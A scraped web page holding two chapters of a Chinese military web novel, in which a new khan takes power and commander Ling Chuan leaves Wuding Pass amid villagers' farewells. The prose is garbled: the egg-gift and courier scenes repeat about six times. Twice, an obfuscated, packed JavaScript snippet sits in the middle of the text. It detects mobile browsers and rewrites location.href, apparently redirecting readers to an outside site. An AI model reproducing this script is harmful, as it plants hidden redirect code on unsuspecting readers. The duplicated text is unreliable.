次日,可汗升天的消息宣示天下,并传遍草原各部落,与之一同传开的是,二王子拓跋青霄将于十日后继承汗位。 消息传开,**草原为之震动。 对于普通百姓而言,谁做大汗并无太大区别,毕竟,他们之中九成九的人,一辈子都去不了天汗城,更何况是见大汗圣颜了。 但,三大王族和十三部族却陷入紧张氛围之中,因为,他们之中不少此前都是大王子的拥护者,可最终坐上汗位的却是二王子,谁敢保证他不会秋后算账? 哪怕是三大王族,在形势不明之时便双面押宝,但双面押宝也有轻重之分。 不少人坐立不安、彻夜难眠,也有不少人瞅准机会蠢蠢欲动,甚至有人已经暗中行动了起来,如果说新王诞生之前是一场豪赌,那么,现在便是一场暗中的博弈。 第179章 陆续撤兵! 五月十三祭敖包! 天汗城也在今日迎来了新的主人拓跋青霄带领四大王族、十三部族的重要人物来到长生殿祭拜长生天同时完成自己的继位大典。 拓跋青霄更是当着长生天向各部族许诺三年之内必将攻破北疆门户到时候偌大的中原便会成为他们的狩猎场数之不尽的财富和奴隶。 斡拏城各部联军已陆续撤回草原剩下的只有拓跋桀本部的南征军。 拓跋桀返回之后立马调动兵力重新进行布防。 “父帅咱们是又要出兵了吗?”拓跋英豪迫不及待地问道。 前段时间他率领的大军已经快要攻破铁鳞城眼看就要收取胜利果实的时候父帅竟然让自己撤军让他倍感惋惜。 到现在为止他都想不通近十日的持续猛攻北疆蓟州、靖州等防线已经多处松动若是再全线进攻三日铁鳞城、烬垣道等地也将相继告破。 可偏偏父帅却在这个关键时期退兵这不仅让这几年的准备都付诸东流 若是能攻下北疆防线十万人的代价并不算什么可如今什么都没捞到却白白损失了十万兵力这代价未免也太大了。 更何况眼下各部联军已相继撤离仅凭南征军想要攻下北疆防线无疑是更加艰难。 看着自己这个儿子拓跋桀眼底闪过一丝失望之色整个南征军素有传闻拓跋英豪勇猛无双智谋出众只有他清楚自己这个儿子勇猛有余智谋却差了太多。 他当一名冲锋陷阵的沙场猛将绰绰有余但若想接掌自己手中的帅印差距不是一星半点。 “你以为我是为何在关键时刻撤军?”拓跋桀看着儿子拓跋英豪眼神中满是严肃。 对于父亲拓跋英豪充满了敬畏见他这般神色不由得低下了头。 “我不知!”拓跋英豪小声回答。 “回去想想明白了再来见我!” “是!”拓跋英豪连忙行礼随即退出了帅府。 拓跋桀轻叹了一口气并非是他不想攻破大周的北疆防线而是当时并非是最佳时机。 天汗城情况不明无论是谁继任汗位自己这个南征主帅都极有可能成为新汗第一个开刀的对象。 一来自己手握重兵对于新汗来说无疑是最大的威胁就像是悬在他头顶的一把剑自己随时都有可能带兵回天 汗城夺取汗位。 再则,北疆防线被攻破之后,自己这个南征主帅的使命也算是完成了,随时都可以舍弃。 所以,当得知天汗城有变故的时候,拓跋桀便果断选择退兵,尽管他心里很清楚,当时的大周北疆防线已经松动,若是继续猛攻,不出十日,自己的帅旗将会插上大周北境疆域。 但,那却不是他想要的结果。 攻打北疆是他手中的最后一张底牌,在没有谋划好退路的情况下,他绝不会将这张底牌打出来,所以,这一次在外人看来,他是为了带近卫回天汗城夺取汗位,实际上,只有极少数的人知道,他并没有夺取汗位的心思,之所以连夜赶回天汗城,不过是与新汗做一笔交易。 而此举的代价就是,胡羯帝国多年的布局付诸东流,而且,南征军还折损了近十万兵力。 最主要的是,这一撤军,等同于卸掉了南征军全体将士心中的一口气,这个时候若是继续出兵攻打大周,绝非明智之举。 先不说粮草军械等都在前线没有随军撤回来,最主要的是大军斗志全无,若是这个时候出兵,必败无疑。 也只有整顿兵马、囤积粮草再寻战机了。 这次的决定,到底划不划算**,但,就算再给他一次机会,他也会做出相同的选择。 与此同时,北境七州也相继收到了撤军的命令。 通过这半个多月的休整,各路兵马也已经逐步恢复,而且,边境的城关要隘也都修缮得差不多了。 凌川也开始整顿云岚军,准备明早起程,同样,支援武定关的兰州兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038280|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马,也将陆续返回阑州大营,只留五千守军继续镇守武定关。 得知凌川要离开,武定关上下从校尉到标长、伍长到士兵皆是充满了不舍。 虽然相处时间不长,但,彼此间却建立起了深厚的情义,凌川用接连几场大胜,让武定关所有将士彻底折服,也是因为凌川,这次武定关全体将士可算是捞足了军功。 当晚,大家喝得酣畅淋漓,校尉、标长们纷纷前来敬酒。 凌川自然是来者不拒,不多时便醉意上头。 “都尉大人,你要是能一直留在武定关,那该多好啊!”校尉郑英奇借着酒意,挽着凌川的肩膀说道。 凌川笑着举起酒碗与他对碰了一下,随即一饮而尽。 “若论资历,我在诸位面前,只能算一个新兵小卒,不过是运气好打了几场胜仗!”凌川谦虚说道。 “都尉大人,您要是这样说的话,我们这帮老卒的脸可就没处放了啊!”黄渠笑道。 李志兴也说道:“大人,就您口中这几场胜仗,是无数将领一辈子都达不到的高度,这次,整个北系军的战功,大半都是你打下来的!” “这次,咱们武定关全体将士的名字都出现在战功簿上,那都是沾了大人的光,要不然,咱们这辈子或许都捞不到这么多战功!”巩邑夫大笑道。 正如他所说,如果不是凌川,他们最大的战功也就是守住武定关。 之前,凌川人还没到武定关,便先送了一份大礼,曳敕河水淹两万敌军,这份战功可都是算在武定关头上的。 此后,更是将城外耶律王族的两万大军全灭,紧接着驰援朝天垭,帮助阑州主力军,牵制慕容陲的狮甲军。 “大人,您是咱们武定关所有兄弟的福星,兄弟们都清楚,您这般人物定然不会待在小小的武定关蹉跎岁月,今日咱们也表个态,无论何时何地,大人若有需要,咱们武定关着几千兄弟任凭差遣!”校尉蒋晟一脸真诚地说道。 第180章 没蛋黄的鸡蛋! “承蒙大家厚爱,这份情,我凌川铭记于心!”凌川举起酒碗,一饮而尽。 “干!” 所有人群情高涨,举起酒碗豪饮。 之后,武定关一众校尉与凌川围坐一桌,郑英奇开口问道:“大人,这胡羯换了新汗,还会不会攻打北疆啊?” 凌川点了点头,说道:“打是肯定要打,只不过是时间问题!” 哪怕是胡羯立国之前,散落在茫茫草原的数百部落,也都经常南下劫掠,对于他们而言,掠夺中原,已经成为一种习俗,一种本能。 三百年前胡羯一统草原,实力空前暴涨,早已将富饶的中原视为囊中之物,这种贪婪的念头绝不会因为换了一个统治者而改变,就算是换一个帝国王朝,也是同样的结果。 紧接着,凌川继续说道:“拓跋桀这老狐狸,明显是为了保住自己的兵权和地位,故而借机撤军,要不然,这场国战不可能半途而废、草草收尾!” “大人觉得,下次开战会在什么时候?”巩邑夫开口问道。 “这个我也说不准!”凌川摇了摇头说道:“不过,以眼下的情况来看,拓跋桀想要再次出兵,至少需要三个月的时间来筹集粮草!” 众人闻言,不由得再度紧张起来,蒋晟更是叹息道:“也不知道,这仗要打到什么时候!” 凌川将酒碗置于桌上,说道:“想要北疆无战事,要么是边境失守,中原**山河**羯铁骑踏碎,无数百姓成为胡羯人的奴隶,到那时,整个中原面临的将是亡族灭种!” “只要我等边军还有一口气在,就绝不允许这样的情况发生!”蒋晟重重一拳砸在桌上,沉声说道。 这一拳,不仅是对胡贼的恨意,还有对大周朝廷的失望。 凌川的目光扫视众人,继续说道:“还有一种可能,那就是咱们北疆边军杀穿草原,攻破天汗城,踏碎他们的脊梁,杀到他们连提刀的勇气都没有,杀到他们的子孙后代生来就对我们充满恐惧……” 这番话,宛如一道闪电,将众人内心的热血点燃。 若真有那一天,他们愿意用性命来换! 可想到如今大周朝堂的腐朽,地方各自为政,他们心中好不容易燃起的希望立马被浇灭。 次日,凌川带着云岚军四标兵马外加唐岿然的重甲队起程,至于纪天禄的斥候队一直游历在关外,凌川已经传信给他们让他们就近找路线返回。 沿途所过之处,百姓们夹道欢送。 有人端着热腾腾的馒头分发给士兵, 有人则是摘来新鲜蔬菜瓜果,一个劲地往士兵们手里塞。 一个扎着羊角辫的小女孩,手里拿着两个煮熟的鸡蛋,鼓起勇气跑到凌川跟前。 “都尉大人,这是俺家里母鸡生的蛋,俺娘让我给你送来!”小女孩怯生生将双手中的两个鸡蛋递到凌川面前。 凌川笑着将鸡蛋拿过来打量了一番,随即又放到耳边摇了摇。 “你把鸡蛋拿回去吧,我只吃没有蛋黄的鸡蛋!”凌川将两个鸡蛋还给小丫头说道。 失望与愧疚之色在小丫头的眼神中交替闪现,只见她低着头,像是做错了什么一般,随即转身快速朝家里跑去。 与此同时,凌川大声喊道:“乡亲们,咱们是边军,吃的是朝廷的军粮,镇守边疆,诛杀来犯之敌,是我们的职责,大家把东西拿回去吧!” “大人,这些可都是乡亲们是一点心意,您若是不收,乡亲们良心难安啊!”一名中年男子端着一筐馒头说道。 “是啊大人,是你们打退了胡贼,守住了我们的家园,我们实在拿不出其他东西,只能以此聊表心意,大人可千万别嫌弃啊!” 一名杵着拐杖的老者走上前来,满脸的感激之色,就要下跪。 凌川翻身下马,连忙将老人扶住:“老人家,您一大把年纪对我下跪,岂不是折我的寿吗?” 紧接着,凌川看向一众百姓,说道:“乡亲们,你们有这份心意,我们就知足了!” 说完,他上前拿了一个馒头,摘了几张菜叶,又从篮子中取了一根黄瓜…… “多谢乡亲们!”凌川对着一众百姓行了一礼,随即将手中东西交给苍蝇,翻身上马离开。 一众百姓看着队伍离开的背影,不少人双眼湿润,很多人更是老泪纵横。 “这才是咱们老百姓的边军啊!”那名老者声音哽咽,双眼湿润。 之前那名小女孩拿着两个鸡蛋跑回家里,对娘亲说:“娘,都尉大人说了,他只吃没有蛋黄的鸡蛋,咱家有吗?” 那年轻妇人听闻后,先是一愣,随即眼神中闪过一抹愧疚与苦涩,家里就一只老母鸡,生的蛋都拿去镇上换粮食,供母女二人勉强活着。 丫头听别人说,鸡蛋很好吃,却从没吃过。 这两个鸡蛋,原本是承诺给丫头今天过生的时候吃的,可得知家家户户都准备了东西去送凌都尉和云岚军,家里实在是拿不出其他东西,丫头便主动将那两个鸡蛋拿出来煮熟之后给凌都尉送去。 “傻丫头,这世上哪有没蛋黄的鸡蛋啊!”年轻妇人轻轻抚摸着丫头的脸蛋,轻声说道。 “啊,那大人他……”小丫头顿时着急起来。 “大人是故意这么说的,不然以你的执拗性子,怎么会把鸡蛋拿回来?”年轻妇人拿过一个鸡蛋磕开,小心翼翼地剥掉蛋壳,将其递给丫头,“快吃吧!” 丫头使劲嗅了嗅鸡蛋的香味,随即轻咬了一口。 “好吃吗?”年轻妇人眼神中满是慈祥,问道。 “嗯!真香!”丫头点头说道,随即将其推到娘亲面前,“娘亲也吃!” …… 凌川带着云岚军,刚离开阑州地境,一名传信兵飞奔而来。 “凌都尉,卢帅让你改道去节度府!”传信兵来到凌川面前,先是行了一礼,随即才传达命令。 凌川微微一愣,问道:“卢帅是让我独自前往,还是带兵前往?” “这个卢帅没说,不过,按照惯例,最多只能带亲兵前往,且不能超过百人!”传信兵说道。 “大人,命令已传到,属下还要赶往其他地方传信,就此告辞!”说完,传信兵直接策马离去。 有人则是摘来新鲜蔬菜瓜果,一个劲地往士兵们手里塞。 一个扎着羊角辫的小女孩,手里拿着两个煮熟的鸡蛋,鼓起勇气跑到凌川跟前。 “都尉大人,这是俺家里母鸡生的蛋,俺娘让我给你送来!”小女孩怯生生将双手中的两个鸡蛋递到凌川面前。 凌川笑着将鸡蛋拿过来打量了一番,随即又放到耳边摇了摇。 “你把鸡蛋拿回去吧,我只吃没有蛋黄的鸡蛋!”凌川将两个鸡蛋还给小丫头说道。 失望与愧疚之色在小丫头的眼神中交替闪现,只见她低着头,像是做错了什么一般,随即转身快速朝家里跑去。 与此同时,凌川大声喊道:“乡亲们,咱们是边军,吃的是朝廷的军粮,镇守边疆,诛杀来犯之敌,是我们的职责,大家把东西拿回去吧!” “大人,这些可都是乡亲们是一点心意,您若是不收,乡亲们良心难安啊!”一名中年男子端着一筐馒头说道。 “是啊大人,是你们打退了胡贼,守住了我们的家园,我们实在拿不出其他东西,只能以此聊表心意,大人可千万别嫌弃啊!” 一名杵着拐杖的老者走上前来,满脸的感激之色,就要下跪。 凌川翻身下马,连忙将老人扶住:“老人家,您一大把年纪对我下跪,岂不是折我的寿吗?” 紧接着,凌川看向一众百姓,说道:“乡亲们,你们有这份心意,我们就知足了!” 说完,他上前拿了一个馒头,摘了几张菜叶,又从篮子中取了一根黄瓜…… “多谢乡亲们!”凌川对着一众百姓行了一礼,随即将手中东西交给苍蝇,翻身上马离开。 一众百姓看着队伍离开的背影,不少人双眼湿润,很多人更是老泪纵横。 “这才是咱们老百姓的边军啊!”那名老者声音哽咽,双眼湿润。 之前那名小女孩拿着两个鸡蛋跑回家里,对娘亲说:“娘,都尉大人说了,他只吃没有蛋黄的鸡蛋,咱家有吗?” 那年轻妇人听闻后,先是一愣,随即眼神中闪过一抹愧疚与苦涩,家里就一只老母鸡,生的蛋都拿去镇上换粮食,供母女二人勉强活着。 丫头听别人说,鸡蛋很好吃,却从没吃过。 这两个鸡蛋,原本是承诺给丫头今天过生的时候吃的,可得知家家户户都准备了东西去送凌都尉和云岚军,家里实在是拿不出其他东西,丫头便主动将那两个鸡蛋拿出来煮熟之后给凌都尉送去。 “傻丫头,这世上哪有没蛋黄的鸡蛋啊!”年轻妇人轻轻抚摸着丫头的脸蛋,轻声说道。 “啊,那大人他……”小丫头顿时着急起来。 “大人是故意这么说的,不然以你的执拗性子,怎么会把鸡蛋拿回来?”年轻妇人拿过一个鸡蛋磕开,小心翼翼地剥掉蛋壳,将其递给丫头,“快吃吧!” 丫头使劲嗅了嗅鸡蛋的香味,随即轻咬了一口。 “好吃吗?”年轻妇人眼神中满是慈祥,问道。 “嗯!真香!”丫头点头说道,随即将其推到娘亲面前,“娘亲也吃!” …… 凌川带着云岚军,刚离开阑州地境,一名传信兵飞奔而来。 “凌都尉,卢帅让你改道去节度府!”传信兵来到凌川面前,先是行了一礼,随即才传达命令。 凌川微微一愣,问道:“卢帅是让我独自前往,还是带兵前往?” “这个卢帅没说,不过,按照惯例,最多只能带亲兵前往,且不能超过百人!”传信兵说道。 “大人,命令已传到,属下还要赶往其他地方传信,就此告辞!”说完,传信兵直接策马离去。 有人则是摘来新鲜蔬菜瓜果,一个劲地往士兵们手里塞。 一个扎着羊角辫的小女孩,手里拿着两个煮熟的鸡蛋,鼓起勇气跑到凌川跟前。 “都尉大人,这是俺家里母鸡生的蛋,俺娘让我给你送来!”小女孩怯生生将双手中的两个鸡蛋递到凌川面前。 凌川笑着将鸡蛋拿过来打量了一番,随即又放到耳边摇了摇。 “你把鸡蛋拿回去吧,我只吃没有蛋黄的鸡蛋!”凌川将两个鸡蛋还给小丫头说道。 失望与愧疚之色在小丫头的眼神中交替闪现,只见她低着头,像是做错了什么一般,随即转身快速朝家里跑去。 与此同时,凌川大声喊道:“乡亲们,咱们是边军,吃的是朝廷的军粮,镇守边疆,诛杀来犯之敌,是我们的职责,大家把东西拿回去吧!” “大人,这些可都是乡亲们是一点心意,您若是不收,乡亲们良心难安啊!”一名中年男子端着一筐馒头说道。 “是啊大人,是你们打退了胡贼,守住了我们的家园,我们实在拿不出其他东西,只能以此聊表心意,大人可千万别嫌弃啊!” 一名杵着拐杖的老者走上前来,满脸的感激之色,就要下跪。 凌川翻身下马,连忙将老人扶住:“老人家,您一大把年纪对我下跪,岂不是折我的寿吗?” 紧接着,凌川看向一众百姓,说道:“乡亲们,你们有这份心意,我们就知足了!” 说完,他上前拿了一个馒头,摘了几张菜叶,又从篮子中取了一根黄瓜…… “多谢乡亲们!”凌川对着一众百姓行了一礼,随即将手中东西交给苍蝇,翻身上马离开。 一众百姓看着队伍离开的背影,不少人双眼湿润,很多人更是老泪纵横。 “这才是咱们老百姓的边军啊!”那名老者声音哽咽,双眼湿润。 之前那名小女孩拿着两个鸡蛋跑回家里,对娘亲说:“娘,都尉大人说了,他只吃没有蛋黄的鸡蛋,咱家有吗?” 那年轻妇人听闻后,先是一愣,随即眼神中闪过一抹愧疚与苦涩,家里就一只老母鸡,生的蛋都拿去镇上换粮食,供母女二人勉强活着。 丫头听别人说,鸡蛋很好吃,却从没吃过。 这两个鸡蛋,原本是承诺给丫头今天过生的时候吃的,可得知家家户户都准备了东西去送凌都尉和云岚军,家里实在是拿不出其他东西,丫头便主动将那两个鸡蛋拿出来煮熟之后给凌都尉送去。 “傻丫头,这世上哪有没蛋黄的鸡蛋啊!”年轻妇人轻轻抚摸着丫头的脸蛋,轻声说道。 “啊,那大人他……”小丫头顿时着急起来。 “大人是故意这么说的,不然以你的执拗性子,怎么会把鸡蛋拿回来?”年轻妇人拿过一个鸡蛋磕开,小心翼翼地剥掉蛋壳,将其递给丫头,“快吃吧!” 丫头使劲嗅了嗅鸡蛋的香味,随即轻咬了一口。 “好吃吗?”年轻妇人眼神中满是慈祥,问道。 “嗯!真香!”丫头点头说道,随即将其推到娘亲面前,“娘亲也吃!” …… 凌川带着云岚军,刚离开阑州地境,一名传信兵飞奔而来。 “凌都尉,卢帅让你改道去节度府!”传信兵来到凌川面前,先是行了一礼,随即才传达命令。 凌川微微一愣,问道:“卢帅是让我独自前往,还是带兵前往?” “这个卢帅没说,不过,按照惯例,最多只能带亲兵前往,且不能超过百人!”传信兵说道。 “大人,命令已传到,属下还要赶往其他地方传信,就此告辞!”说完,传信兵直接策马离去。 有人则是摘来新鲜蔬菜瓜果,一个劲地往士兵们手里塞。 一个扎着羊角辫的小女孩,手里拿着两个煮熟的鸡蛋,鼓起勇气跑到凌川跟前。 “都尉大人,这是俺家里母鸡生的蛋,俺娘让我给你送来!”小女孩怯生生将双手中的两个鸡蛋递到凌川面前。 凌川笑着将鸡蛋拿过来打量了一番,随即又放到耳边摇了摇。 “你把鸡蛋拿回去吧,我只吃没有蛋黄的鸡蛋!”凌川将两个鸡蛋还给小丫头说道。 失望与愧疚之色在小丫头的眼神中交替闪现,只见她低着头,像是做错了什么一般,随即转身快速朝家里跑去。 与此同时,凌川大声喊道:“乡亲们,咱们是边军,吃的是朝廷的军粮,镇守边疆,诛杀来犯之敌,是我们的职责,大家把东西拿回去吧!” “大人,这些可都是乡亲们是一点心意,您若是不收,乡亲们良心难安啊!”一名中年男子端着一筐馒头说道。 “是啊大人,是你们打退了胡贼,守住了我们的家园,我们实在拿不出其他东西,只能以此聊表心意,大人可千万别嫌弃啊!” 一名杵着拐杖的老者走上前来,满脸的感激之色,就要下跪。 凌川翻身下马,连忙将老人扶住:“老人家,您一大把年纪对我下跪,岂不是折我的寿吗?” 紧接着,凌川看向一众百姓,说道:“乡亲们,你们有这份心意,我们就知足了!” 说完,他上前拿了一个馒头,摘了几张菜叶,又从篮子中取了一根黄瓜…… “多谢乡亲们!”凌川对着一众百姓行了一礼,随即将手中东西交给苍蝇,翻身上马离开。 一众百姓看着队伍离开的背影,不少人双眼湿润,很多人更是老泪纵横。 “这才是咱们老百姓的边军啊!”那名老者声音哽咽,双眼湿润。 之前那名小女孩拿着两个鸡蛋跑回家里,对娘亲说:“娘,都尉大人说了,他只吃没有蛋黄的鸡蛋,咱家有吗?” 那年轻妇人听闻后,先是一愣,随即眼神中闪过一抹愧疚与苦涩,家里就一只老母鸡,生的蛋都拿去镇上换粮食,供母女二人勉强活着。 丫头听别人说,鸡蛋很好吃,却从没吃过。 这两个鸡蛋,原本是承诺给丫头今天过生的时候吃的,可得知家家户户都准备了东西去送凌都尉和云岚军,家里实在是拿不出其他东西,丫头便主动将那两个鸡蛋拿出来煮熟之后给凌都尉送去。 “傻丫头,这世上哪有没蛋黄的鸡蛋啊!”年轻妇人轻轻抚摸着丫头的脸蛋,轻声说道。 “啊,那大人他……”小丫头顿时着急起来。 “大人是故意这么说的,不然以你的执拗性子,怎么会把鸡蛋拿回来?”年轻妇人拿过一个鸡蛋磕开,小心翼翼地剥掉蛋壳,将其递给丫头,“快吃吧!” 丫头使劲嗅了嗅鸡蛋的香味,随即轻咬了一口。 “好吃吗?”年轻妇人眼神中满是慈祥,问道。 “嗯!真香!”丫头点头说道,随即将其推到娘亲面前,“娘亲也吃!” …… 凌川带着云岚军,刚离开阑州地境,一名传信兵飞奔而来。 “凌都尉,卢帅让你改道去节度府!”传信兵来到凌川面前,先是行了一礼,随即才传达命令。 凌川微微一愣,问道:“卢帅是让我独自前往,还是带兵前往?” “这个卢帅没说,不过,按照惯例,最多只能带亲兵前往,且不能超过百人!”传信兵说道。 “大人,命令已传到,属下还要赶往其他地方传信,就此告辞!”说完,传信兵直接策马离去。 有人则是摘来新鲜蔬菜瓜果,一个劲地往士兵们手里塞。 一个扎着羊角辫的小女孩,手里拿着两个煮熟的鸡蛋,鼓起勇气跑到凌川跟前。 “都尉大人,这是俺家里母鸡生的蛋,俺娘让我给你送来!”小女孩怯生生将双手中的两个鸡蛋递到凌川面前。 凌川笑着将鸡蛋拿过来打量了一番,随即又放到耳边摇了摇。 “你把鸡蛋拿回去吧,我只吃没有蛋黄的鸡蛋!”凌川将两个鸡蛋还给小丫头说道。 失望与愧疚之色在小丫头的眼神中交替闪现,只见她低着头,像是做错了什么一般,随即转身快速朝家里跑去。 与此同时,凌川大声喊道:“乡亲们,咱们是边军,吃的是朝廷的军粮,镇守边疆,诛杀来犯之敌,是我们的职责,大家把东西拿回去吧!” “大人,这些可都是乡亲们是一点心意,您若是不收,乡亲们良心难安啊!”一名中年男子端着一筐馒头说道。 “是啊大人,是你们打退了胡贼,守住了我们的家园,我们实在拿不出其他东西,只能以此聊表心意,大人可千万别嫌弃啊!” 一名杵着拐杖的老者走上前来,满脸的感激之色,就要下跪。 凌川翻身下马,连忙将老人扶住:“老人家,您一大把年纪对我下跪,岂不是折我的寿吗?” 紧接着,凌川看向一众百姓,说道:“乡亲们,你们有这份心意,我们就知足了!” 说完,他上前拿了一个馒头,摘了几张菜叶,又从篮子中取了一根黄瓜…… “多谢乡亲们!”凌川对着一众百姓行了一礼,随即将手中东西交给苍蝇,翻身上马离开。 一众百姓看着队伍离开的背影,不少人双眼湿润,很多人更是老泪纵横。 “这才是咱们老百姓的边军啊!”那名老者声音哽咽,双眼湿润。 之前那名小女孩拿着两个鸡蛋跑回家里,对娘亲说:“娘,都尉大人说了,他只吃没有蛋黄的鸡蛋,咱家有吗?” 那年轻妇人听闻后,先是一愣,随即眼神中闪过一抹愧疚与苦涩,家里就一只老母鸡,生的蛋都拿去镇上换粮食,供母女二人勉强活着。 丫头听别人说,鸡蛋很好吃,却从没吃过。 这两个鸡蛋,原本是承诺给丫头今天过生的时候吃的,可得知家家户户都准备了东西去送凌都尉和云岚军,家里实在是拿不出其他东西,丫头便主动将那两个鸡蛋拿出来煮熟之后给凌都尉送去。 “傻丫头,这世上哪有没蛋黄的鸡蛋啊!”年轻妇人轻轻抚摸着丫头的脸蛋,轻声说道。 “啊,那大人他……”小丫头顿时着急起来。 “大人是故意这么说的,不然以你的执拗性子,怎么会把鸡蛋拿回来?”年轻妇人拿过一个鸡蛋磕开,小心翼翼地剥掉蛋壳,将其递给丫头,“快吃吧!” 丫头使劲嗅了嗅鸡蛋的香味,随即轻咬了一口。 “好吃吗?”年轻妇人眼神中满是慈祥,问道。 “嗯!真香!”丫头点头说道,随即将其推到娘亲面前,“娘亲也吃!” …… 凌川带着云岚军,刚离开阑州地境,一名传信兵飞奔而来。 “凌都尉,卢帅让你改道去节度府!”传信兵来到凌川面前,先是行了一礼,随即才传达命令。 凌川微微一愣,问道:“卢帅是让我独自前往,还是带兵前往?” “这个卢帅没说,不过,按照惯例,最多只能带亲兵前往,且不能超过百人!”传信兵说道。 “大人,命令已传到,属下还要赶往其他地方传信,就此告辞!”说完,传信兵直接策马离去。 有人则是摘来新鲜蔬菜瓜果,一个劲地往士兵们手里塞。 一个扎着羊角辫的小女孩,手里拿着两个煮熟的鸡蛋,鼓起勇气跑到凌川跟前。 “都尉大人,这是俺家里母鸡生的蛋,俺娘让我给你送来!”小女孩怯生生将双手中的两个鸡蛋递到凌川面前。 凌川笑着将鸡蛋拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038281|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来打量了一番,随即又放到耳边摇了摇。 “你把鸡蛋拿回去吧,我只吃没有蛋黄的鸡蛋!”凌川将两个鸡蛋还给小丫头说道。 失望与愧疚之色在小丫头的眼神中交替闪现,只见她低着头,像是做错了什么一般,随即转身快速朝家里跑去。 与此同时,凌川大声喊道:“乡亲们,咱们是边军,吃的是朝廷的军粮,镇守边疆,诛杀来犯之敌,是我们的职责,大家把东西拿回去吧!” “大人,这些可都是乡亲们是一点心意,您若是不收,乡亲们良心难安啊!”一名中年男子端着一筐馒头说道。 “是啊大人,是你们打退了胡贼,守住了我们的家园,我们实在拿不出其他东西,只能以此聊表心意,大人可千万别嫌弃啊!” 一名杵着拐杖的老者走上前来,满脸的感激之色,就要下跪。 凌川翻身下马,连忙将老人扶住:“老人家,您一大把年纪对我下跪,岂不是折我的寿吗?” 紧接着,凌川看向一众百姓,说道:“乡亲们,你们有这份心意,我们就知足了!” 说完,他上前拿了一个馒头,摘了几张菜叶,又从篮子中取了一根黄瓜…… “多谢乡亲们!”凌川对着一众百姓行了一礼,随即将手中东西交给苍蝇,翻身上马离开。 一众百姓看着队伍离开的背影,不少人双眼湿润,很多人更是老泪纵横。 “这才是咱们老百姓的边军啊!”那名老者声音哽咽,双眼湿润。 之前那名小女孩拿着两个鸡蛋跑回家里,对娘亲说:“娘,都尉大人说了,他只吃没有蛋黄的鸡蛋,咱家有吗?” 那年轻妇人听闻后,先是一愣,随即眼神中闪过一抹愧疚与苦涩,家里就一只老母鸡,生的蛋都拿去镇上换粮食,供母女二人勉强活着。 丫头听别人说,鸡蛋很好吃,却从没吃过。 这两个鸡蛋,原本是承诺给丫头今天过生的时候吃的,可得知家家户户都准备了东西去送凌都尉和云岚军,家里实在是拿不出其他东西,丫头便主动将那两个鸡蛋拿出来煮熟之后给凌都尉送去。 “傻丫头,这世上哪有没蛋黄的鸡蛋啊!”年轻妇人轻轻抚摸着丫头的脸蛋,轻声说道。 “啊,那大人他……”小丫头顿时着急起来。 “大人是故意这么说的,不然以你的执拗性子,怎么会把鸡蛋拿回来?”年轻妇人拿过一个鸡蛋磕开,小心翼翼地剥掉蛋壳,将其递给丫头,“快吃吧!” 丫头使劲嗅了嗅鸡蛋的香味,随即轻咬了一口。 “好吃吗?”年轻妇人眼神中满是慈祥,问道。 “嗯!真香!”丫头点头说道,随即将其推到娘亲面前,“娘亲也吃!” …… 凌川带着云岚军,刚离开阑州地境,一名传信兵飞奔而来。 “凌都尉,卢帅让你改道去节度府!”传信兵来到凌川面前,先是行了一礼,随即才传达命令。 凌川微微一愣,问道:“卢帅是让我独自前往,还是带兵前往?” “这个卢帅没说,不过,按照惯例,最多只能带亲兵前往,且不能超过百人!”传信兵说道。 “大人,命令已传到,属下还要赶往其他地方传信,就此告辞!”说完,传信兵直接策马离去。 有人则是摘来新鲜蔬菜瓜果,一个劲地往士兵们手里塞。 一个扎着羊角辫的小女孩,手里拿着两个煮熟的鸡蛋,鼓起勇气跑到凌川跟前。 “都尉大人,这是俺家里母鸡生的蛋,俺娘让我给你送来!”小女孩怯生生将双手中的两个鸡蛋递到凌川面前。 凌川笑着将鸡蛋拿过来打量了一番,随即又放到耳边摇了摇。 “你把鸡蛋拿回去吧,我只吃没有蛋黄的鸡蛋!”凌川将两个鸡蛋还给小丫头说道。 失望与愧疚之色在小丫头的眼神中交替闪现,只见她低着头,像是做错了什么一般,随即转身快速朝家里跑去。 与此同时,凌川大声喊道:“乡亲们,咱们是边军,吃的是朝廷的军粮,镇守边疆,诛杀来犯之敌,是我们的职责,大家把东西拿回去吧!” “大人,这些可都是乡亲们是一点心意,您若是不收,乡亲们良心难安啊!”一名中年男子端着一筐馒头说道。 “是啊大人,是你们打退了胡贼,守住了我们的家园,我们实在拿不出其他东西,只能以此聊表心意,大人可千万别嫌弃啊!” 一名杵着拐杖的老者走上前来,满脸的感激之色,就要下跪。 凌川翻身下马,连忙将老人扶住:“老人家,您一大把年纪对我下跪,岂不是折我的寿吗?” 紧接着,凌川看向一众百姓,说道:“乡亲们,你们有这份心意,我们就知足了!” 说完,他上前拿了一个馒头,摘了几张菜叶,又从篮子中取了一根黄瓜…… “多谢乡亲们!”凌川对着一众百姓行了一礼,随即将手中东西交给苍蝇,翻身上马离开。 一众百姓看着队伍离开的背影,不少人双眼湿润,很多人更是老泪纵横。 “这才是咱们老百姓的边军啊!”那名老者声音哽咽,双眼湿润。 之前那名小女孩拿着两个鸡蛋跑回家里,对娘亲说:“娘,都尉大人说了,他只吃没有蛋黄的鸡蛋,咱家有吗?” 那年轻妇人听闻后,先是一愣,随即眼神中闪过一抹愧疚与苦涩,家里就一只老母鸡,生的蛋都拿去镇上换粮食,供母女二人勉强活着。 丫头听别人说,鸡蛋很好吃,却从没吃过。 